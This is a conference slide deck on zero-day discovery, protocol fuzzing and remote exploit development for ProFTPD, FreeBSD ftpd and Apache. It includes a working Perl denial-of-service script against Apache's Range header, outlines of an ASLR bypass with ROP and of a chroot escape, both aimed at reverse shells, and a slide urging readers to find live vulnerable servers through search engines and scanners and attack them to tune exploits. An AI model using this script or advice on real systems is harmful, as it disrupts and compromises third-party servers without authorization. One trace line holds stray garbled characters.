Uncovering Zero-Days and advanced fuzzing
How to successfully get the tools to unlock UNIX and Windows Servers
About the presentation

• Whoami

• Introduction

• 0days and the rush for public vulnerabilities
  And Advanced fuzzing techniques
Whoami

• My name is Nikolaos Rangos (nick: Kingcope)
• Live in Germany, have greek parents and family
• Hack and like to play with Software
• Develop exploits for software since ~2003
• Am a Penetration tester
• Currently do vulnerability research
Introduction

Server Side vs. Local and Client Vulnerabilities

• By using *Remote Exploits (Server Side)* you can attack servers silently without user intervention.
• Scanners can discover Servers that run the specific software and version to exploit

• *Local vulnerabilities* can be handy to escalate privileges if exploit does not yield desired privileges

• *Client Side Vulnerabilities* (for example Web-Browser Exploits) can be used to attack entities inside organizations and companies thus require user intervention.

• We will discuss especially remote software flaws, remote vulnerabilites
• Most parts of discussion can be applied to local and client vulnerabilities
Introduction

Discovering vulnerabilities is easy

• Programmers do mistakes and introduce flaws - *constantly*
  Especially new features and versions contain flaws, see cvs diffing, updated software

• New Technologies bring new possibilities for the attacker

• Discovering flaws can be fun when you have the appropriate tools set up

• There is no secret – Just needs passion, time, experience and good music :D
The environment – *Virtual Machines* and software

- For the testbeds you will definitely need VMs set up  
  - Reason: Different Operating Systems / Targets  
    Handy for adding offsets for each version later on

- Software you want to audit can be installed inside the VM  
  - Upside: You can break the operating system without losing data

- Example setup: Windows 7 Host with several Guests, like:  
  - Windows Server 2003/2008, Linux, FreeBSD, Solaris x86, etc.  
  - (You can do kernel debugging by using pipes host->guest)

- Available virtual machines:  
  - VMWare Workstation, Oracle VirtualBox, QEMU, and more  
  - Personally Preferred VMWare Workstation over the years
0days and the rush for public vulnerabilities / The environment

The environment – *Virtual Machines* and software
Illustration: VMWare running FreeBSD on Win7, many Operating Systems for testing
The tools

• A kind of programming language, the one you like most:
  • Interpreted: Perl, Python.
  • Native: C/C++
  Used to fuzz software, develop and write the exploit itself.
  Used to write own tools for observing processes.
  Some puzzles require native code: Local bugs, RPC exploits,
  Looks more leet to code in C :

• UNIX tools:
  • strace (Linux), truss/ktrace/kdump (BSD, Solaris) for tracing sycalls
  • ltrace for tracing library calls

• Windows: ProcessMonitor
  • To reveal bugs by looking at file system access

• Debuggers:
  gdb (UNIX), Windbg (Windows User/Kernel), Ollydbg (Windows Userland)
Tool example – *truss* on FreeBSD

**Illustration:**

Re-Discovering the FreeBSD FTPD Remote Root Exploit (library load) using *truss*

Commands issued:

```
h4x# ps aux | grep inetd
root 1138 0.0 0.5 3272 1176 ?? 2:05PM 0:00.01 inetd
h4x# truss -ae -f -oout -p 1138
```

```
1275: issetgid(0x281d20e7,0xbfbd927,0x400,0xbfbd34,0x0,0x0) = 0 (0x0)
1275: break(0x810000) = 0 (0x0)
1275: _systctl(0xbfbd4c4,0x2,0xbfbdccc,0xbfbbdb0,0x0,0x0) = 0 (0x0)
1275: mmap(0x0,1048576,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 673148928 (0x281f7000)
1275: mmap(0x282f7000,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 674197504 (0x282f7000)
1275: munmap(0x281f7000,36864) = 0 (0x0)
1275: _systctl(0xbfbb9c,0x2,0x28201100,0xbfbbdb4,0x0,0x0) = 0 (0x0)
1275: stat("/etc/nsswitch.conf",{ mode=rw-r--r-- ,ino=70707,size=323,blksize=16384 }) = 0 (0x0)
1275: open("/etc/nsswitch.conf",O_RDONLY,0666) = 4 (0x4)
1275: ioctl(4,TIOCGETA,0xbfbd898) ERR#25 'Inappropriate ioctl for device'
1275: fstat(4,{ mode=rw-r--r-- ,ino=70707,size=323,blksize=16384 }) = 0 (0x0)
1275: read(4,"\n\n nsswitch.conf(5) - name ser"...,16384) = 323 (0x143)
1275: read(4,0x2821d000,16384) = 0 (0x0)
1275: sigprocmask(SIG_BLOCK, SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGHUR|SIGSTOP|SIGST八十|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)
1275: access("/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: access("/usr/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: access("/usr/lib/compat/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: access("/usr/local/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: access("/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: access("/usr/lib/nss_compat.so.1",0) ERR#2 'No such file or directory'
1275: sigprocmask(SIG_SETMASK,0x0,0x0) = 0 (0x0)
```
Reading source code and testing parallely

• Good knowledge of the programming language required
• Personally prefer reading C code, most of the UNIX world is built up on C
• Some bugs can be discovered/exploited without any code reading
  Example: Apache Range-Bytes Denial of Service
• Other bugs need to be researched in source code to be exploited properly
  Example: ProFTPD TELNET_IAC Remote Exploit

```c
while ( buflen && toread > 0 && *pbuf->current != '\n' && toread--) {
    cp = *pbuf->current++;
    pbuf->remaining++;
    if (handle_iac == TRUE) {
        switch ( telnet_mode ) {
            case TELNET_IAC: 
                switch ( cp ) {
                    case TELNET_WILL: 
                    case TELNET_WONT: 
                    case TELNET_DO: 
                    case TELNET_DONT: 
                    case TELNET_IP: 
                    case TELNET_DM: 
```
Binary reversing and testing parallely

• Good knowledge of assembler required (x86, sparc, arm, etc)
• The Interactive Disassembler (IDA) is the best tool for this task
• Personally tend to look for vulnerable functions in critical code paths and test the suspicious locations using scripts
• Can be handy when developing exploits,
  Example: ProFTPD TELNET_IAC Remote Exploit, finding the plt entry offset of write(2) and specific assembler instructions.

.plt:0813CB28
.plt:0813CB28 ; SUBROUTINE===============================================
.plt:0813CB28 ; Attributes: thunk
.plt:0813CB28 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:0813CB28 _write        proc near ; CODE XREF: vio_write+28↓p
.plt:0813CB28 ; my_write+43↓p
.plt:0813CB28     jmp       ds:off_872B148
.plt:0813CB28 _write        endp
.plt:0813CB28
.plt:0813CB28 ;===============================================

0days and the rush for public vulnerabilities / Reading source code and binary reversing
Semi-automatic fuzzing with perl/python

• „Semi-automatic“ because fuzzing is done partly by the programming language like perl and partly with the knowledge of the programmer

• Especially effective for plain-text protocols

• Raw binary protocol fuzzing is possible this way, requires Wireshark dumps and mostly will cover only initial packets of the protocol

• Modules for the interpreted programming language can be used for fuzzing „high level“ and will mostly cover the whole binary protocol
Fuzzing templates for plaintext and binary protocols

Very Basic template I used a lot over the years (perl)

use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => 'isowarez.de', # connect to isowarez.de
   PeerPort => 'http(80)', # on port 80 (HTTP)
   Proto    => 'tcp');

# <input fuzzing ideas here>
print $sock "GET / HTTP/1.0\r\n\r\n";

# Display response
while(<$sock>) {
   print;
}

- Above template is extended in the middle with fuzzing ideas for the protocol
- Can be extended in a way that several packets are sent, by repeating the template
Fuzzing templates for plaintext and binary protocols

- Previous shown template can be used for binary protocols by just replacing the payload with binary data.

- The basic template is modified using your knowledge about the protocol and each modification (test case) is run against the remote service.

- On the remote side the results are inspected using tracers like strace, truss to see what is happening or „top“ to inspect Memory and CPU usage.

- In case a bug was found, the vulnerability is researched and the exploit written by extending the basic template.

- The following example shows how the basic template was extended to a real exploit after verifying a vulnerability was found.

  Case: Apache HTTPd Remote Denial of Service
my $sock = IO::Socket::INET->new(PeerAddr => "isowarez.de",
    PeerPort => "80",
    Proto => 'tcp');

$Sp = "GET / HTTP/1.1
Host: isowarez.de\n\n";
print $sock $Sp;

while(<$sock>){
    print;
}

my $sock = IO::Socket::INET->new(PeerAddr => "isowarez.de",
    PeerPort => "80",
    Proto => 'tcp');

# Okay we fuzz for the range bytes, let's see if we can break apache httpd
$Sp = "GET / HTTP/1.1
Host: $ARGV[0]
Range:bytes=0-10000
Accept-Encoding: gzip
Connection: close"
print $sock $Sp;

while(<$sock>){
    print;
}

# Can happen something by using this in the Range Header ? Let's see.
$Sp = ",",
for ($k=0;$k<1000;$k++) {
    $Sp .= ",5-$k"
}

my $sock = IO::Socket::INET->new(PeerAddr => "isowarez.de",
    PeerPort => "80",
    Proto => 'tcp');

# Okay we fuzz for the range bytes
$Sp = "GET / HTTP/1.1
Host: $ARGV[0]
Range:bytes=0-$Sp
Accept-Encoding: gzip
Connection: close"
print $sock $Sp;

while(<$sock>){
    print;
}
OOPS Webserver behaves unaccepted, shows a spike in memory usage, Might be a Bug...
Let’s request that thing 50 times parallelly using Parallel::Forkman.

$pm = new Parallel::ForkManager($numforks);

$sp = "";
for ($k=0;$k<1300;$k++) {
    $sp .= ",5-$k";
}

for ($k=0;$k<50;$k++) {
    my $pid = $pm->start and next;

    $sx = "";
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
        PeerPort => "80",
        Proto    => 'tcp');

        $sp = "HEAD / HTTP/11\r\nHost: $ARGV[0]\r\nRange:bytes=0-$sp\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\n";
print $sock $sp;

while(<$sock>) {
    }
$pm->finish;
}
$pm->wait_all_children;
print "::PpPppppPpPPppPPpp\n";
}

Apache httpd does not respond anymore, console on Remote Side (inside VMWare) hangs. Let’s decide if we want to inform the people...
Fuzzing by modifying C source on the fly

- Nearly every critical UNIX software is written in C
- Fuzzing by modifying sources is very effective

How it is done

- The target software (server side) is chosen and installed
- The client of the software is compiled
- After compilation the audit can begin
- The client sources are modified and after each modification each test case is compiled and run against the service
Fuzzing by modifying C sources on the fly

• If you want to find logic bugs you have to understand the part of software you are working on and change the code lines that are most interesting

• Finding buffer overflows this way can be done rather blindly

  • Look for critical code in the C source like network, command handling, parsers etc.

  • *Change the buffer contents and buffer lengths one by one*

• Compile and test each buffer modification against the service
0days and the rush for public vulnerabilities / Fuzzing by modifying C source on the fly

Fuzzing by modifying C sources on the fly
Example client code change in SAMBA, source3/client/client.c

```c
static int cmd_logon(void)
{
    TALLOC_CTX *ctx = talloc_tos();
    char *l_username, *l_password;
    NTSTATUS nt_status;

    if (!next_token_talloc(ctx, &cmd_ptr,&l_username,NULL)) {
        d_printf("logon <username> [<password>]\n");
        return 0;
    }

    if (!next_token_talloc(ctx, &cmd_ptr,&l_password,NULL)) {
        char *pass = getpass("Password: ");
        if (pass) {
            l_password = talloc_strdup(ctx,pass);
        }
    }
    if (!l_password) {
        return 1;
    }

    char buffer[8096];
    memset(buffer, 'A', sizeof(buffer));
    buffer[8095]=0;

    nt_status = cli_session_setup(cli, buffer,
        buffer, strlen(buffer),
        buffer, strlen(buffer),
        lp_workgroup());

    /*
    nt_status = cli_session_setup(cli, l_username,
        l_password, strlen(l_password),
        l_password, strlen(l_password),
        lp_workgroup());
    */
```
Building exploits

- Logic bugs are nice to have since exploits for logic bugs can be more stable, effective and easier to develop.
- Buffer overruns and memory corruptions can be exploited depending on their nature and can be as stable as logic bugs, exploiting can be time consuming.
- Goal: retrieve a remote shell/command line
  - Patch memory to hit a good place to
  - Control the Instruction Pointer (i386 processor: EIP)
  - Bypass protections (ASLR/ NX on amd64)
  - Execute the payload, retrieve the shell
    - Personally prefer reverse shells to evade firewall protections
    - Most work is done using a debugger like gdb
- Add more targets to the exploit
- Test the exploit in the wild, real world and adjust it
Bypassing ASLR (Address Space Layout Randomization) on Linux
(ProFTPD Remote Root Exploit case)

• Assume we have redirected the Instruction Pointer to our desired value (for example through Stack Smashing, overwritten Function Pointer)
• The address space is randomized, so where we jump to?
• Stack addresses, addresses of libraries, heaps of libraries are all randomized
• *The image (TEXT segment) of the process is NOT randomized*
• Duhh!
• We can jump to the TEXT segment, its base has a fixed address
root@debian:~# cat /etc/issue
Debian GNU/Linux 6.0

root@debian:~# uname -a
Linux debian 2.6.32-5-686 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686 GNU/Linux

root@debian:~# cat /proc/1451/maps | head
08048000-080d7000 r-xp 00000000 08:01 367591 /usr/sbin/proftpd
080d7000-080df000 rw-p 0008e000 08:01 367591 /usr/sbin/proftpd
080df000-080e9000 rw-p 00000000 00:00 0 [heap]
09297000-092fa000 rw-p 00000000 00:00 0 [heap]
b7271000-b7279000 r-xp 00000000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b7279000-b727a000 r--p 00080000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b727a000-b727b000 rw-p 00090000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b727b000-b7281000 r-xp 00000000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so
b7281000-b7282000 r--p 00060000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so
b7282000-b7283000 rw-p 00070000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so

root@debian:~# pkill -9 proftpd

root@debian:~# proftpd

root@debian:~# ps aux |grep proftpd
proftpd  1525  0.0  0.3  7768 1652 ?  Ss   15:42   0:00 proftpd: (accepting connections)
root 1527  0.0  0.1  3320  796 pts/0 S+   15:42   0:00 grep proftpd

root@debian:~# cat /proc/1525/maps | head
08048000-080d7000 r-xp 00000000 08:01 367591 /usr/sbin/proftpd
080d7000-080df000 rw-p 0008e000 08:01 367591 /usr/sbin/proftpd
080df000-080e9000 rw-p 00000000 00:00 0 [heap]
08385000-083e8000 rw-p 00000000 00:00 0 [heap]
b70e7000-b70ef000 r-xp 00000000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b70ef000-b70f0000 r--p 00080000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b70f0000-b70f1000 rw-p 00090000 08:01 115121 /lib/i686/cmov/libnss_nis-2.11.3.so
b70f1000-b70f7000 r-xp 00000000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so
b70f7000-b70f8000 r--p 00060000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so
b70f8000-b70f9000 rw-p 00070000 08:01 115143 /lib/i686/cmov/libnss_compat-2.11.3.so
Bypassing ASLR (Adress Space Layout Randomization) on Linux x86

- **Goal:** get the shellcode executed
  - Find mmap/mmap64 plt entry using IDA
    From the plt entry we can indirectly jump to the randomized library function
  - Find memcpy plt entry using IDA
  - Use mmap to map a fixed free memory region (read, write, execute permissions enabled)
  - Use memcpy to copy bytes from the TEXT segment to this memory region, purpose of the bytes: copy the shellcode to the new memory region
  - Jump to the memory copy routine
  - Execute the payload that retrieves the reverse shell
- mmap and memcpy are called using ROP (return oriented programming)
Bypassing Address Space Layout Randomization on Linux x86

1. Attacker
2. mmap plt entry
3. memcpy plt entry
4. Needed assembly mnemonics
5. New mapping created by mmap (rwx)
6. Shellcode copier, JMP
7. Randomized memory, unusable

protftpd process vm space

Copy shellcode copier using memcpy and mnemonics
Jump to randomized mem and create rwx mapping at address 0x10000000

ROP Stack Smashing
Exploiting logic flaws

(FreeBSD ftpd Remote Root Exploit case)

- Exploiting logic flaws strongly depends on the nature of the bug
- FreeBSD ftpd example scenario
  - We can load a library if the logged in user is inside a chroot and we can write files to the disk

- How to exploit it
  - We need a way to break the chroot and execute code
  - Program a dynamic library that
  - Breaks the chroot by using ptrace system call
    - Attach to an existing FreeBSD process that runs as root using ptrace
    - Copy the shellcode into the root owned process by using ptrace
    - Let the root owned process continue at the shellcode position
    - NX (Non-Executable mappings) on amd64 can be bypassed easily
      On FreeBSD there is a rwx (read write execute) memory region
      We write our shellcode into this region
Exploiting logic flaws
(FreeBSD ftpd Remote Root Exploit case)
Adding targets to the exploit

• **Reason:** Simply important to support wider range of targets
• **Targets can be split up in two parts**
  • Supported Operating System
  • Supported software version on Operating System platform
• **Environment needs to be set up**
  As many as possible vulnerable installations (using Virtual Machines)
• **Offsets and possibly other values need to be examined**
Adding targets to the exploit

- Add code to exploit for target integration and target selection
- Example: ProFTPD Remote Root Exploit
  - Exploit was designed to make it easy to add targets
  - Needed values
    - `write(2)` offset (plt entry) is found by using IDA
    - Align and Padding are found by running a perl script and observing the behaviour of the ProFTPD service
- Example: FreeBSD ftpd Remote Root Exploit
  - Only task: compile the dynamic libraries on each OS version
- Example: FreeBSD sendfile local root exploit
  - To support x86 and amd64 two shellcodes are needed
  - The exploit has to be adjusted for each version (buffer sizes)
Testing shaping & adjusting the exploit in the wild

- Exploits can run perfect in the testing environment
- In real world they might not succeed in gaining a shell (not always the case)
- So the exploit needs to be made stable by testing it in real networks
- How to accomplish that
  - Search engines can be nice in finding running servers in the wild to test the exploit against
  - Scanners can be developed to seek the internet for vulnerable servers
- Once vulnerable servers are discovered, test the exploit against them
- Mimic the discovered vulnerable OS and software version
- Adjust the exploit by addressing the failures in the exploit code
Odays and the rush for public vulnerabilities / Porting Metasploit modules to standalone exploits

Last slide 😊

Thanks to everybody who supported me over times

You know who you are <3
Uncovering Zero-Days and advanced fuzzing
How to successfully get the tools to unlock UNIX and Windows Servers